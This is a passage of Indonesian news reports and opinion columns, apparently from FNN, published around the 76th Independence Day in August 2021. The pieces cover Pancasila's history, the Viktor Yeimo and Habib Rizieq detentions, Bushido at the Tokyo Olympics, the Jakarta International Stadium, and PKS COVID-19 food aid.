masyarakat. "Saya mengucapkan syukur kepada Allah SWT, hari ini kita masih diberikan kesempatan untuk melaksanakan upacara HUT Ke-76 RI dengan penuh kekhidmatan," ujarnya. Menurut dia, di tengah pandemi COVID-19 ini, semangat rasa bangga dan kemerdekaan betul-betul ditularkan ke seluruh lapisan masyarakat Indonesia khususnya Provinsi Kepulauan Babel. "Semangat ini harus kita tularkan betul, terlebih kita sedang menghadapi pandemi COVID-19, sehingga bangsa ini tangguh, kuat dan tumbuh untuk ke depannya," katanya pula.(sws)

Umat Memberi Umat Dikhianati

By M Rizal Fadillah PADA18 Agustus 1945 Panitia Persiapan Kemerdekaan Indonesia (PPKI) menetapkan Pancasila dan Undang- Undang Dasar 1945. Alotnya perumusan Pancasila sejak 29 Mei 1945 akhirnya berhasil dituntaskan pada tanggal 18 Agustus 1945 ini. Fase terberat adalah mengubah rumusan Pancasila yang ditetapkan Panitia Sembilan tanggal 22 Juni 1945 menjadi rumusan Pancasila sebagaimana saat ini. Fokus perdebatan pada sila pertama. Dengan sebutan populer pencoretan tujuh kata "kewajiban menjalankan syari'at Islam bagi pemeluk-pemeluknya" maka selesailah rumusan Pancasila. Tak bisa dipungkiri kesepakatan ini adalah pemberian umat Islam. Menteri Agama dahulu Alamsyah Ratu Perwiranegara menyebut Pancasila sebagai hadiah umat Islam. Adalah kubu Islam baik di BPUPKI maupun PPKI berjuang keras untuk menjadikan Islam sebagai ideologi negara (BPUPKI) yang akhirnya memberi atau menghadiahkan rumusan akhir berupa Pancasila Piagam Jakarta (22 Juni 1945). Kesepakatan ini diotak atik kembali bahkan dengan "teror" Indonesia Timur segala, akhirnya kubu perjuangan umat Islam pada sidang PPKI menyetujui rumusan Pancasila minus tujuh kata pada sila pertama tersebut. Inilah pemberian penting untuk kedua kalinya. Sayangnya pemberian umat Islam ini kemudian dikhianati dengan sekurangnya dua peristiwa besar. Pertama, eskalasi kekuatan PKI yang masuk ke ruang istana, sehingga Presiden memanjakan PKI dan melumpuhkan kekuatan Islam melalui Nasakom, pembubaran Masyumi, hingga penangkapan tokoh Islam seperti Buya Hamka dan lainnya. Kudeta gagal 1965 adalah puncak pengkhianatan terhadap ideologi Pancasila. Kedua, di masa rezim Jokowi saat agenda RUU Haluan Ideologi Pancasila di DPR RI. Sebagaimana DN Aidit yang berlindung pada Pancasila, maka RUU HIP pun seolah melakukan pembelaan pada Pancasila. Faktanya justru merongrong Pancasila. Pancasila rumusan 1 Juni 1945 disosialisasikan dan diperjuangkan untuk menjadi jiwa dan makna Pancasila. Untunglah kekuatan umat Islam telah berhasil melawan pengkhianatan ini. Rezim Jokowi tidak bersahabat dengan umat, tokoh tokoh perjuangan umat Islam pun ditangkap dan diadili dengan berbagai alasan dan kasus. Penampilan kenegaraan yang berkostum adat seolah mengangkat adat tetapi dinilai sebagai kamuflase untuk menutupi kedekatan dengan asing dan menyingkirkan kekuatan agama. Teori Snouck Hurgronye nampaknya dijalankan yakni membunuh nasionalisme menumbuhkan etnosentrisme. Memperalat Adat. Gejala politik yang terjadi jelas tidak sehat. Peran umat Islam dalam memerdekakan negara ini sangat besar. Demikian juga dengan memberi kontribusi bagi perumusan dasar negara dan mengisinya. Siapapun yang memimpin negara ini harus belajar sejarah dan tidak boleh melupakan apalagi mengkhianati peristiwa bersejarah. 18 Agustus 1945 adalah hari lahirnya Pancasila dan UUD 1945. Pemberian umat Islam bagi bangsa dan negara Republik Indonesia. Jangan mencoba untuk mengkhianati. Umat Islam akan melawan kembali. *) Penulis Pemerhati Politik dan Kebangsaan

Refleksi HUT ke-76 RI Senator Adakan Lomba Tulis dan Pidato Berhadiah Rp 20 Juta

Jakarta, FNN - ADA banyak cara memaknai peringatan Proklamasi Kemerdekaan Republik Indonesia. Selain mengglorifikasi apa yang telah dicapai, tak sedikit pula yang membangun perspektif reflektif terhadap hari ulang tahun bangsa Indonesia. Menyoroti berbagai catatan yang layak jadi bahan evaluasi setelah 76 tahun bangsa ini merdeka. Hal itulah yang mendasari Senator Dewan Perwakilan Daerah (DPD) Republik Indonesia, Tamsil Linrung menginisiasi lomba virtual bertajuk “Refleksi 76 Tahun Indonesia Merdeka”. Ajang ini memperlombakan tiga sub kategori. Yaitu lomba menulis bagi guru honorer dan masyarakat umum, lomba pidato dan orasi untuk kalangan pelajar/mahasiswa. Tamsil Linrung yang didaulat sebagai Ketua Pansus Guru dan Tenaga Kependidikan Honorer DPD RI menilai, di balik gegap gempita peringatan kemerdekaan, masih banyak catatan menyedihkan. Termasuk nasib guru honorer yang tidak kunjung mendapat kejelasan. Padahal, guru honorer, kata Tamsil, adalah ujung tombak dalam mewujudkan cita-cita kemerdekaan “mencerdaskan kehidupan bangsa”. “Coba kita evaluasi capaian pendidikan Indonesia. Peringkat Programme for International Student Assessment (PISA) misalnya, berdasarkan survei OECD tahun 2018, Indonesia di papan bawah. Kompetensi Membaca peringkat 72 dari 77 negara. Matematika peringkat 72 dari 78 negara. Sains berada di peringkat 70 dari 78 negara. Semuanya stagnan dalam 15 tahun terakhir. Oleh karena itu, perlu upaya menggedor kesadaran pemerintah dan perhatian rakyat agar sektor pendidikan terus dibenahi di berbagai spektrum. Termasuk memperhatikan kehidupan tenaga pendidik. Garda terdepan, sistem pendidikan kita,” ujar Tamsil di Jakarta (17/8) Tidak tanggung-tanggung, panitia pelaksana menyiapkan sejumlah hadiah menarik. Yaitu uang tunia total Rp 20 juta dan voucher menginap di Svarga Resort, Lombok untuk tiga pemenang. Kick off lomba “Refleksi 76 Tahun Indonesia Merdeka” dimulai pada 17 Agustus dan diakhiri dengan acara puncak webinar kebangsaan serta penganugerahan hadiah pada 31 Agustus. Jajaran dewan juri dalam ajang lomba ini diisi oleh panel terkemuka. Mereka adalah Dr. Dasad Latif, P.hD (Dai Nasional dan dosen Ilmu Komunikasi Universitas Hasanuddin), Prof. Dr. Firman Noor, MA (Kepala Pusat Penelitian Politik LIPI, Dosen Ilmu Politok UI), Hersubeno Arief (Wartawan Senior FNN) dan Jusman Dalle (Kolumnis) Sebagai informasi, saat ini DPD RI sedang membentuk Panitia Khusus Guru dan Tenaga Kependidikan Honorer. Pansus Guru Honorer merupakan tindak lanjut dari serap aspirasi yang dilakukan DPD. Diantara harapan yang dititipkan oleh guru honorer se Indonesia, agar ada pengangkatan sebagai pegawai negeri sipil (PNS). Termasuk meminta pemerintah meninjau kembali aturan yang membatasi usia PNS guru maksimal 35 tahun. Pasalnya, dari 1,7 juta guru honorer, tak sedikit yang telah mengabdi puluhan tahun. Hingga bahkan melewati ambang batas usia tersebut. Oleh karena itu, DPD RI mendorong agar pemerintah menerbitkan aturan pengecualian batas usia rekrutmen PNS khusus untuk tenaga honorer. Langkah serupa sebelumnya telah ditempuh ketika presiden meneken Keppres untuk tenaga medis (perawat/bidan) yang sudah lama bekerja di Puskesmas.

Negara Harus Bebaskan Korban Rasisme Viktor Yeimo

by Marthen Goo Jayapura FNN - Dengan menangkap korban rasialisme dan kemudian mencari delik untuk memaksakan korban tetap ditangkap tersebut hanya sebagai upaya meredam dan membelokan kasus rasisme seakan kasus kriminal, tentu secara subtansial juga adalah kejahatan rasisme. Yang semakin berbahaya adalah ketika kejahatan rasisme dipakai melalui alat paksa yakni hukum untuk memukul mundur korban rasisme mencari kebenaran dan keadilan. Natalius Pigai, Tokoh Nasional asal Papua, men-tweet, “otak-otak penggerak demo anti rasisme Jawa sudah diadili di pengadilan. Viktor Yeimo hanya orasi saat demo. Sedari awal aparat telah mempertontonkan pernyataan kebencian pada pribadi viktor. Para pembela HAM nasional & internasional sedang pantau”. Tentu akan sangat berbahaya jika penegakan hukum lebih pada menyasar individu orang karena rasa tidak suka atau karena kebencian. Mestinya aspek hukum harus menjadi dasar, karena hukum selalu bebas dari kepentingan dan kebencian apapun. Hukum selalu soal keadilan, kemanfaatan dan kepastian. Korban rasisme harus diberikan ruang untuk mencari keadilan, bukan dicari-cari delik untuk dikriminalisasi (tontonan buruk). Tidak boleh juga memiliki niat, tahan dulu, soal nanti cari keadilan biar pengadilan yang putuskan. Itu sudah ada Menstrea. Cara pandang begitu adalah cara pandang yang buruk, karena hukum itu harus jelas, terukur dan professional. Apalagi korban selama dalam tahanan hak-haknya tidak dipenuhi. Membedah Secara Singkat Jika merujuk pada AntaraNews.Com, terbitan 9 Mei 2021, pasal-pasal yang dipakai untuk menangkap Viktor adalah pasal 106 Jo Pasal 87; Pasal 110 KUHP; pasal 14 ayat (1), (2) dan pasal 15 UU No. 1 Tahun 1946 Tentang Peraturan Hukum Pidana; pasal 66 UU No 24 Tahun 2009 Tentang Bendera, Bahasa, Lambang Negara serta lagu kebangsaan; pasal 160 KUHP; pasal 187 KUHP; pasal 365 KUHP; 170 KUHP ayat (1); pasal 2 UU Darurat No 12 Tahun 1951 Jo pasal 64 KUHP. Jika kita membedah pasal-pasal di atas yang dikenakan kepada VY, sangat tidak relevan. Ketidak relevannya adalah jika merujuk pada SuaraPapua.com terbitan 23 Mei 2021, VY hanya ikut dan turut melakukan aksi pada 19 Agustus 2019 di halaman kantor Gubernur Papua, dan tidak pernah terlibat dalam aksi lanjutan 29 Agustus 2019. Sementara yang disangkakan adalah 29 Agustus 2019. Atau, kita bisa mengambil salah satu contoh pasal dari sekian banyak pasal, yakni yang menyangkut pada pasal makar. Pasal makar seperti pada pasal yang dimaksud baik pada pasal 106 Jo pasal 87 ataupun pasal 110 secara subtansial memiliki batasan yang ketat bahwa makar itu harus bersifat melawan negara dengan kekerasan atau dengan kekuatan bersenjata. Sementara pasal 87 yang diarahkan pada pasal 53 soal percobaan, percobaan dalam pengertian makar harus dilihat apakah memiliki kekuatan senjata atau tidak. Faktanya tidak ada. Menurut Ahli Pidana, M. Toufik, “delik makar itu deliknya adalah delik materil. Deskripsinya jelas (1) harus ada kekuatan bersenjata; (2) merong-rong pemerintahan dalam bentuk pemerintahan tidak berjalan; (3) menyerang keamanan presiden dan wakil presiden. Yang bisa lakukan makar kalau bukan polisi ya tentara karena mereka yang mempunyai senjata. Kalau kritik, tidak ada pasal yang bisa dipakai untuk menyebut orang itu makar”. Sehingga, subjek hukum yang dapat atau berpotensi melakukan perbuatan makar adalah subjek hukum yang memiliki kekuatan bersenjata. Terhadap makar yang dikenakan sesungguhnya tidak tepat. Ini salah satu contoh pasal yang secara subtansial tidak sangat relevan dengan keberadaan VY sebagai massa aksi tapi juga sebagai orator saat itu, karena orasi tidak bisa disebutkan sebagai perbuatan makar. Berikut, pasal 14 dan 15 UU No. 1 Thn 1946, secara subtansial menjelaskan tentang menyiarkan berita atau menyampaikan berita bohong dan lainnya yang dapat menimbulkan keonaran, itu pasal yang sangat tidak relevan dikarenakan aksi lawan rasisme itu aksi semua orang Papua. ini menyangkut martabat manusia kulit hitam di dunia. Berita bohong harus dilihat adalah antara kenyataan dan yang disampaikan berbeda. Menurut Gustav Kawer, pengacara senior asal Papua, “VY disangka dengan tuduhan berlapis sekitar 12 Pasal yang ancaman hukumannya ada yang berkisar seumur hidup dan paling lama 20 Tahun, untuk peristiwa rasis 16 Agustus 2019 yang pelakunya hanya di vonis 7 bulan penjara dan pelaku lainnya bebas tanpa proses hukum dari negara”. Ko korban rasis disangkakan sampai begitu sementara pelakus rasis hanya divonis 7 bulan, bahkan yang lain bebas tanpa proses hukum? Gustav menambahkan, “VY di proses hukum di polisi memakan waktu yang cukup lama, 3 bulan lebih untuk sebuah kasus yang katanya oleh, "penyidik', yang bersangkutan buron untuk kasus 2019, jika Buron dan kasus lama seharus proses hukum kini sudah sampai di Pengadilan karena buktinya cukup”. Dua hal yang penting dikritisi adalah (1) buronan tapi proses hukum belum ke pengadilan dan (2) sekitar 12 pasal berlapis terkesan seakan dalam satu peristiwa terjadi banyak kasus pidana. Terhadap pasal-pasal yang dikenakan di atas, harus bisa dijelaskan pada publik relevansinya. Jika relevansinya tidak dijelaskan pada publik, sementara prosesnya sudah makan waktu lebih dari 3 bulan, sesungguhnya memberikan pertanyaan kritis, ada apa? Bukannya buronan seperti yang dimaksud itu didasari pada dua alat bukti ? kenapa proses begitu lama ? Publik butuh kejelasan. Profesionalisme harus ditunjukan. Dibebaskan Demi Hukum Hukum pidana bicara soal perbuatan individu orang, maka, VY tidak terlihat memiliki perbuatan melawan hukum, tidak memilik perbuatan pidana dalam mengekspresikan perlawanan rasisme. VY adalah korban rasisme. Bahkan dalam aksi yang dilakukan, tidak ada perbuatan pidana yang dilakukan. VY tidak melakukan kekerasan, tidak mengibarkan bendera dll, tidak melakukan penghasutan dan lainnya (aksi 19/8/2019). Artinya bahwa, dari tuduhan yang dibebankan pada VY tanpa ia melakukan hal-hal yang dituduhkan, tentu dalam perspektif hukum sangat berbahaya, penegak hukum diberikan kewenangan untuk professional dalam melakukan penyelidikan dan penyidikan. Jika merujuk pada kronologis kasus, menjadi pertanyaan serius soal relevansinya pada setiap pasal adalah (apa ?), apalagi banyak pasal yang bisa dikritisi. Secara subtansial, VY sudah membantu kepolisian dan negara untuk melawan rasisme. Mestinya VY diberikan penghargaan dan diberikan gelar sebagai pahlawan pelawan rasisme. Karena Pidana selalu bicara pada ruang “Tempus Delicti dan Locus Delicti” yaitu pada tanggal 19 Agustus 2019 dan VY tidak melakukan pidana, tapi melakukan kerja kepahlawanan dalam berantas rasisme, disaksikan oleh seluruh rakyat Papua. Atas prinsip kesamaan di depan hukum dan kepastian hukum dari perspektif pidana, maka, negara melalui kepala Kepolisian Republik Indonesia dan Kejaksaan Agung diharapkan untuk segera memerintahkan Kapolda Papua dan Kejati Papua untuk segera bebaskan Viktor Yeimo. Dan harus dilakukan evaluasi secara menyeluruh soal penegakan hukum di Papua. Penulis adalah aktivis kemanusiaan asal Papua

Spirit Bushido di Olympiade Jepang

by Zainal Bintang Jakarta FNN - Olympiade Jepang 2020 (yang tertunda) yang penuh kontroversi, ancaman dan kecemasan berhasil dilaksanakan dengan baik. Dibuka 23 Juli dan ditutup 8 Agustus 2021 di Tokyo, Jepang. Tanpa ada kekacauan. Tanpa insiden ada yang fatal. Meskipun diganggu beberapa pengunjuk rasa, penutupan berjalan dengan lancar. Sukses ini membuktikan Perdana Menteri Yoshida Suga PM yang baru dilantik, berhasil mengonsolidasikan kekuatan lahir dan batin seluruh rakyatnya. Mereka, rakyat Jepang berhasil melewati kerikil tajam. Sukses menancapkan tekad, “Olympiade adalah kehormatan dan harga diri bangsa Jepang”. Apapun yang terjadi, harus terlaksana dengan segala konsekwensi. Meskipun ditentang dan didemo oleh masyarakat tertentu, yang ditengarai menyimpan aroma politik praktis, di Tokyo, namun Olympiade yang bergengsi itu tetap jalan terus. Bangsa Jepang begitu perkasa. Begitu tegar. Begitu kokoh merealisasi dengan tekad, “Olympiade harga mati”. Sahabat lama saya, seorang jurnalis Jepang puluhan tahun yang lalu pernah menyebutkan bahwa, adalah karena bangsa Jepang itu memiliki “warisan” kekuatan batin yang bernama “Bushido”. Akar budaya dan jatidiri bangsa Jepang tersebut adalah sebuah "tatacara ksatria". Sebuah kode etik tentang kesatriaan golongan Samurai dalam feodalisme Jepang. Bushido berasal dari nilai-nilai moral golongan Samurai. Menekankan pada kombinasi sikap utama, “kesederhanaan, kesetiaan, penguasaan seni bela diri, dan kehormatan sampai mati”. Asal usul Bushido, lahir dari Neo-Konfusianisme selama masa damai Shogun Tokugawa ((1603 – 1868), dan mengikuti teks Konfusianisme. Juga dipengaruhi oleh Shinto dan Buddhisme Zen, yang memungkinkan adanya kekerasan dari Samurai. Ditempa dengan kebijaksanaan dan ketenangan. Samurai sendiri adalah sebuah strata sosial penting dalam tatanan masyarakat feodalisme Jepang. Secara resmi, Bushido dikumandangkan dalam bentuk etika sejak zaman Shogun Tokugawa. Lalu terintegrasi ke dalam semangat modernis yang lahir bersamaan dengan Restorasi Meiji (1868). Biasanya para Samurai dan Shogun rela mempartaruhkan nyawa demi itu. Jika gagal, ia akan melakukan Seppuku (tradisi bunuh diri membelah perut dengan Samurai) atau dikenal dengan istilah Harakiri. Jalan kebudayaan Bushido sangat menonjol pada saat Perang Dunia II. Penopang terbentuknya jiwa prajurit berani mati. Diantara tujuh prinsip dasar Bushido yang menjadi pegangan kehormatan bangsa Jepang, salah satunya berbunyi begini, “Ketika prajurit mengatakan bahwa mereka akan melakukan sesuatu, maka mereka akan melakukannya. Tidak ada yang menghentikan mereka untuk menyelesaikan apa yang mereka katakan. Mereka tidak harus “berjanji”: Bagi mereka berbicara dan menyelesaikannya adalah tindakan yang sama”. Prinsip ini dikenal dengan sebutan Makoto atau Kehormatan. Sejarah mencatat Jepang mengalami kekalahan besar akibat terpaan bom atom sekutu pada Perang Dunai II tahun 1945. Hiroshima dan Nagasaki hancur lebur dihajar pesawat Bomber 29 milik sekutu. Terjadi perang batin antara petinggi militer Jepang dan elite kekaisaran menghadapi paksaan sekutu menyerah tanpa sayarat sesuai bunyi “Deklarasi Postdam”. Petinggi milter dan elite kekaisaran Jepang terpecah menjadi dua kubu: “Yang setuju” dan “Yang menolak”. Menurut catatan sejarah, pada Juni 1945, Kaisar Hirohito (1901-1989) pada waktu itu yang berkuasa, sudah kehilangan kepercayaan terhadap kesempatan mencapai kemenangan militer. Jepang sudah kalah dalam Pertempuran Okinawa. Kaisar juga sudah mendapat kabar tentang kelemahan angkatan darat di Cina dan pasukan yang mempertahankan pulau-pulau utama Jepang, setelah menerima laporan Pangeran Higashikuni. Menurut Kaisar, “Kita sudah diberi tahu besi asal bom yang dijatuhkan musuh sudah digunakan untuk membuat sekop. Hal ini berarti kita tidak berada dalam posisi melanjutkan perang”. Hirohito adalah kaisar ke-124 yang berkuasa terlama sepanjang sejarah Jepang. Merupakan salah satu tokoh penting pada masa Perang Dunia II dan pembangunan kembali Jepang. Diantara “yang menolak” tersebutlah nama Laksamana Kantaro Suzuki (1867 - 1948)). Perdana Menteri Jepang ke 42. Menjabat dari tanggal 7 April 1945 sampai dengan 17 Agustus 1945. Mantan Kepala Staf Angkatan Laut (1925 - 1929). Dalam usaha mengatasi kerancuan persepsi publik, PM Suzuki yang menanggapi Deklarasi Postdam mengatakan kepada pers, “Saya menganggap Proklamasi Bersama sebagai pengulangan kembali Deklarasi di Konferensi Kairo. Mengenai hal tersebut, Pemerintah tidak menganggapnya memiliki nilai yang penting sama sekali. Salah satu hal yang dapat dilakukan adalah mengabaikannya (mokusatsu). Kami tidak akan melakukan apa-apa kecuali menanggungnya hingga akhir untuk mendatangkan akhir perang yang sukses”. Staf Angkatan Darat mengeluarkan dokumen berjudul "Kebijakan Fundamental untuk diikuti selanjutnya dalam melaksanakan perang" yang menyatakan “rakyat Jepang akan berjuang hingga punah daripada menyerah”. Reputasi Jepang yang hancur dalam Perang Dunia II akhir 1945, ternyata tidak mematikan semangat Bushido. Seiring perjalanan sejarah, Jepang mulai bangkit kembali ketika memutuskan menjadi tuan rumah penyelenggaraan Olympiade 1964. Twitter resmi Olympiade menerangkan, cincin Olympiade yang digunakan pada Olympiade 2020 berasal dari pohon yang ditanam dari biji yang dibawa atlet internasional saat Tokyo menjadi tuan rumah Olympiade pada 57 tahun silam. Di dunia perfilmanpun, Jepang menggegerkan sines-sineas kenamaaan dari Barat. Aroma magis Bushido memukau dalam karya-karya Akira Kurosawa sutradara Jepang yang kesohor sejagat. Film “The Seven Samurai” (1954), karya Kurosawa mengangkat epik yang magis, menginspirasi sutradara berkebangsaan Amerika, John Sturges (1910–1992) dengan membuat film yang sama yang populer tetapi lebih rendah kualitas berjudul “The Magnificent Seven” (1960). Dibintangi antara lain Yul Brynner, Eli Wallach, James Coburn, Steve McQueen dan Charles Bronson. Sebelumnya film “Rashomon” (1950) besutan Kurosawa telah lebih dulu membuat sineas film dari Barat tidak dapat menyembunyikan rasa kagum pada saat berlangsungnya Festival Venesia tahun 1951. Temanya tentang teki teki kasus pembunuhan yang dijelaskan oleh empat saksi dengan versi yang berbeda – beda. Demikian pula film “Throne Of Blood” (Tahta Berdarah) yang dibuat Kurosawa di tahun 1957. Mendapat tanggapan serius dari banyak pengamat film dunia. Terutama karena temanya adalah adaptasi naskah drama Macbeth karya sastrawan Inggeris kelas dunia William Shakespeare. Ketiga film masterpiece Kurosawa itu bintang utamanya kesemuanya dipercayakan kepada aktor berkarakter khas Jepang, Toshiro Mifune. Dan Kurosawa sendiri telah membuat kurang lebih 31 film. Kesemuanya, adalah dia sendiri yang menulis cerita, menyutradarai dan sekaligus juga adalah produsernya. Ketika mengikuti Festival Film Asia Pacifik (1985) di Tokyo, saya termasuk rombongan delegasi film dari Indonesia wakil kelompok kritikus film dari unsur PWI. Sempat berbincang-bincang dan foto bersama Akira Kurosawa tokoh besar dunia perfilman yang low profile. Sementara, ketika itu aktor El Manik mendapat penghargaan gelar Best Supporting Actor lewat film “Jejak Pengantin” karya Sutradara MT Risyaf, produksi 1983. Lantas, bagaimana dengan upacara penutupan pesta olah raga Olympiade Tokyo 2020? Seluruh lampu stadion dimatikan, tersisa hanya pada cahaya telepon genggam atlet di tengah lapangan. Bergerak berbentuk tiga dimensi dan bergelombang hingga akhirnya menjadi lambang “lima cincin” logo khas Olympiade. Atlet dibebaskan membaur dan memilih tempat di lapangan. Menegaskan motto “Unity in Diversity”. Acara penutupan selesai tanpa kehilangan kemeriahan. Khusyuk. Olympic Stadium, Tokyo, pusat acara malam itu semarak tanpa penonton. Kemeriahan lampu-lampu handphone yang super gemerlap mengesankan para kontingen hingga volunteers seakan-akan memenuhi seisi stadion. Bagaikan, dibalik itu diam-diam tapi pasti, sukma Bushido memberinya perkuatan. Mengiring doa kolektif rakyat Jepang yang mempertaruhkan harga dirinya ketika memutuskan: Olympiade jalan terus. Penutupan Olympiade Tokyo 2020 ditandai sebuah pertunjukan drama musikal dari beberapa anak dan seorang ibu. Sebanyak 205 negara peserta mengelilingi panggung tengah. Dipimpin oleh bendera Jepang selaku tuan rumah dan Yunani selaku negara pendiri Olympiade. Perhelatan akbar berkelas dunia yang bernama Olympiade telah berakhir di tengah lika liku hambatan akibat serangan Pandemi Covid 19 yang menerpa seluruh bangsa di dunia. Jepang mampu menjawab kecemasan dan keraguan dunia akan terlaksananya gawe olah raga multibangsa itu. Di tengah prahara korona yang berkecamuk di multinegara. Saya tercenung di depan televisi. Terpukau dalam pesona menyaksikan acara penutupan. Ternyata seberat apapun tantangan, akan dapat diatasi. Ketika tekad bulat diiiringi kerja keras menyatu padu dalam tekad sebuah bangsa. Jepang membuktikan. Berlandaskan konsitensi atas komitmen pada prinsip Bushido, Jepang mampu menjinakkan kelemahan sebesar apapun. Sanggup menembus kesulitan sesuram apapun. Isi WhatsApp teman lama saya kembali mucul dengan pesan pendek, “Kebahagiaan tidak terdapat pada tujuan, tapi pada langkah-langkah menuju tujuan”. Penulis adalah Wartawan Senior dan Pemerhati Mosial Budaya.

Anies Berharap JIS Lahirkan Atlet Berprestasi Internasional

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengharapkan Jakarta International Stadium (JIS) menjadi tempat melahirkan atlet berprestasi di kancah internasional melalui upaya kolaborasi semua pihak termasuk pemerintah. “Lokasinya standar internasional, prestasinya harus internasional,” kata Anies Baswedan ketika menyaksikan penandatanganan kerja sama Jakpro dengan PSSI di JIS, Jakarta, Selasa, 17 Agustus 2021. Menurut dia, pembinaan terhadap atlet harus dilakukan dengan sistem meritokrasi atau sistem yang berdasarkan kemampuan atau prestasi seseorang, bukan dilihat dari latar belakangan sosial atau ekonomi. Ia mencontohkan Brazil yang membina pemain sepak bola dengan 100 persen sistem meritokrasi sehingga negara itu selalu mendapat tempat dalam ajang sepak bola dunia salah satunya Piala Dunia. "Selama kegiatan pengembangan olahraga harus mengandalkan latar belakang keluarga maka kita akan sulit menumbuhkan atlet kelas dunia,” ucap Anies, sebagaimana dikutip dari Antara. Orang nomor satu di Pemprov DKI ini juga mengharapkan negara dan pemerintah memfasilitasi termasuk pemanfaatan tempat untuk latihan. Dengan begitu, tempat latihan di antaranya JIS dapat menjamin keberlanjutan operasional mengingat stadion berstandar internasional itu juga memerlukan biaya pemeliharaan yang tinggi. “Karena mengelola lapangan seperti ini perlu biaya, mengelola lembaga pendidikan olahraga perlu biaya, bila itu tidak diambil alih oleh tangan negara, maka kita tidak akan mungkin memunculkan pribadi terbaik untuk menjadi atlet,” katanya. Anies mengharapkan kerja sama Jakpro selaku pengelola JIS dengan PSSI menjadi babak baru kolaborasi untuk meningkatkan prestasi olahraga khususnya sepak bola. Jakpro, lanjut dia, juga diharapkan menjaga perawatan JIS termasuk lapangannya sebagai sarana latihan hingga kegiatan olahraga. "Bibit baik dari rumah, tanah subur tempat pelatihan itu tanggung jawab kita, iklimnya pemerintah, KONI, PSSI sama-sama bangun iklim sehat sehingga mereka bisa tumbuh,” katanya. (MD).

Tokoh Tionghoa Lieus Sungkharisma Minta Habib Rizieq Dibebaskan

Jakarta, FNN – Tokoh Tionghoa, Lieus Sungkharisma meminta agar Habib Rizieq Shihab dikeluarkan dari tahanan. Sebab, penahanannya hanya karena kasus Rumah Sakit Ummi, Bogor, Jawa Barat. “Banyak (ada) menteri yang positif (Covid-19), tetapi tidak mengaku. Kenapa tidak ditahan. Kita tahu, tapi tidak ditahan. Habib Rizieq divonis empat tahun, gila. Masa penahanan habis diperpanjang, gila..,” kata Lieuis dalam Webiner yang ditayangkan FNN TV Yotube Channel. Ia meminta agar Presiden Jokowi turun menyelesaikan konflik yang terjadi. Selain mengeluakan HRS, ia juga mengharapkan agar jangan ada penangkapan terhadap aktivis atau kalangan oposisi. Sedangkan Yusuf Muhammad Martak menambahkan, ia orang yang dekat dengan HRS. “Saya tahu persis, berebut aparat di level atas mendatangi hakim dan jaksa supaya penjarakan HRS. Siapa yang order. Aparat penegak hukum terpengaruh. Kalau sama-sama bohong (harusnya) dihukum. Kok, sumbang Rp 2 triliun (fiktif) bebas. Apakah sudah merdeka. “Kita singkirkan buzzer setan. Sengaja dilindungi. Mereka dipelihari aparat. Beberapa kali saya ketemu. Jangan ada kebohongan demi kebohongan,” kata Martak. Lieus Sungkharisma mengatakan, Bangsa Indonesia merdeka karena merebut, bukan pemberian. “Jadi rakyat luar biasa. Saya waktu ke rumah Pak Martak belum tahu beliau punya turunan atau leluhur mewakafkan/hibahkan (rumah di Pegangsaan Timur 56 kepada negara). Itu luar biasa. Artinya kemerdekana direbut atas kehendak rakyat Indonesia untuk segera bangkit,” ujarnya. Dia menyebutkan, kondisi sekarang menjadi kurang nyaman karena Jokowi terlalu percaya kepada orang-orang di sampingnya. Akibatnya, yang berbeda pandangan politik ditahan. Semua berharap, dalam kondisi Covid-19, persatuan dan kesatuan bangsa penting. Rakyat Indonesia jangan diadu-adu, jangan dibiarkan. "Kalau ada konflik dipertemukan. Dialogkan, selesaikan," ucapnya. “Saya sedih. Saya agama Budha. Kadang dituduh kadrun (kadal gurun), macam-macam . Tidak apa-apa. Lho suka-suka ngomong. Terserah.suka-suka ngomong. Tetapi (saya) tidak berhenti bicara tentang kebenaran dan keadilan,” ujarnya dalam webier yang dipandu Pemimpin Redaksi FNN, Mangarahon Dongoran. Di awal paparannya, Leuis terlebih dahulu membacakan puisi, “Jangan Teriak Merdeka, Malu Kita,” karya Taufik Ismail. Dia sedih melihat keadaan sekarang, apalagi dikaitkan dengan bait-bait puisi tersebut. Mengaku tidak akan berhenti bicara mengenai persoalan bangsa. Hal itu dilakukannya karena ada ketidakadilan dan ketimpangan. Ia tidak mundur, meski sempat ditahan dengan tuduhan makar. (FNN/MD).

PKS Berikan 1,7 juta Paket Sembako Untuk Warga Terdampak Corona

Jakarta, FNN - Partai Keadilan Sejahtera (PKS) menginisiasi Gerakan Nasional 1,7 juta paket sembako bagi masyarakat terdampak Covid-19 dalam momentum peringatan HUT Ke-76 Republik Indonesia. Ketua Majelis Syura PKS Salim Segaf Al-Jufri dalam siaran persnya, di Jakarta, Selasa, mengatakan Gerakan Nasional 1,7 juta paket bantuan dilakukan, mengingat PKS sebagai komponen bangsa ikut merasakan kesulitan saat pandemi. Selain aksi sosial, PKS juga meresmikan Tim Respons Cepat Covid-19 yang sudah dibentuk di seluruh struktur PKS di Indonesia. "Kami ingin PKS terus memperkuat kehadiran dan kerja nyata di tengah masyarakat. Sejak awal merebaknya Covid-19 hingga saat ini, PKS telah mendistribusikan sedikitnya 741.410 paket bantuan sembako dan dana bantuan Covid-19 senilai Rp 68,9 miliar," ujar Salim dalam Amanat Upacara Peringatan Detik-detik Proklamasi RI, di halaman Kantor DPP PKS, Jakarta, Selasa, 17 Agustus 2021. Cucu Pahlawan Nasional Sayid Idrus Salim Al Jufri ini menambahkan, dana bantuan tersebut berasal dari potongan gaji anggota dewan dan pejabat publik PKS, serta sumbangan anggota dan simpatisan. "Di samping itu, jaringan PKS di seluruh Indonesia juga mengerahkan bantuan untuk korban bencana alam di NTT, NTB, Kalimantan Selatan, dan Sulawesi Barat," ujar Salim, sebagaimana dikutip dari Antara. Selain memperkuat solidaritas sosial, kata dia, PKS juga fokus melakukan advokasi kebijakan publik. Namun, seruan PKS, ahli kebijakan publik dan pakar kesehatan belum mendapatkan sambutan yang baik. Menurutnya, Pemerintah memilih fokus kepada pemulihan ekonomi nasional dengan mengeluarkan Perppu Nomor 1 Tahun 2020 dan memaksakan pengesahan UU Cipta Kerja Nomor 11 Tahun 2020. "Bagi PKS, perppu dan UU Cipta Kerja ini bukanlah solusi dalam mengatasi pandemi. Perppu dan UU Cipta Kerja ini hanya menguntungkan bagi kepentingan investor dan pengusaha besar yang banyak mendapatkan berbagai insentif fiskal dari Pemerintah," kata mantan Duta Besar RI untuk Arab Saudi ini pula. Oleh karena itu, kata dia, atas nama keadilan, kemanusiaan dan keselamatan jiwa rakyat Indonesia, PKS bersama elemen masyarakat sipil menolak disahkannya Perppu Nomor 1 Tahun 2020 dan 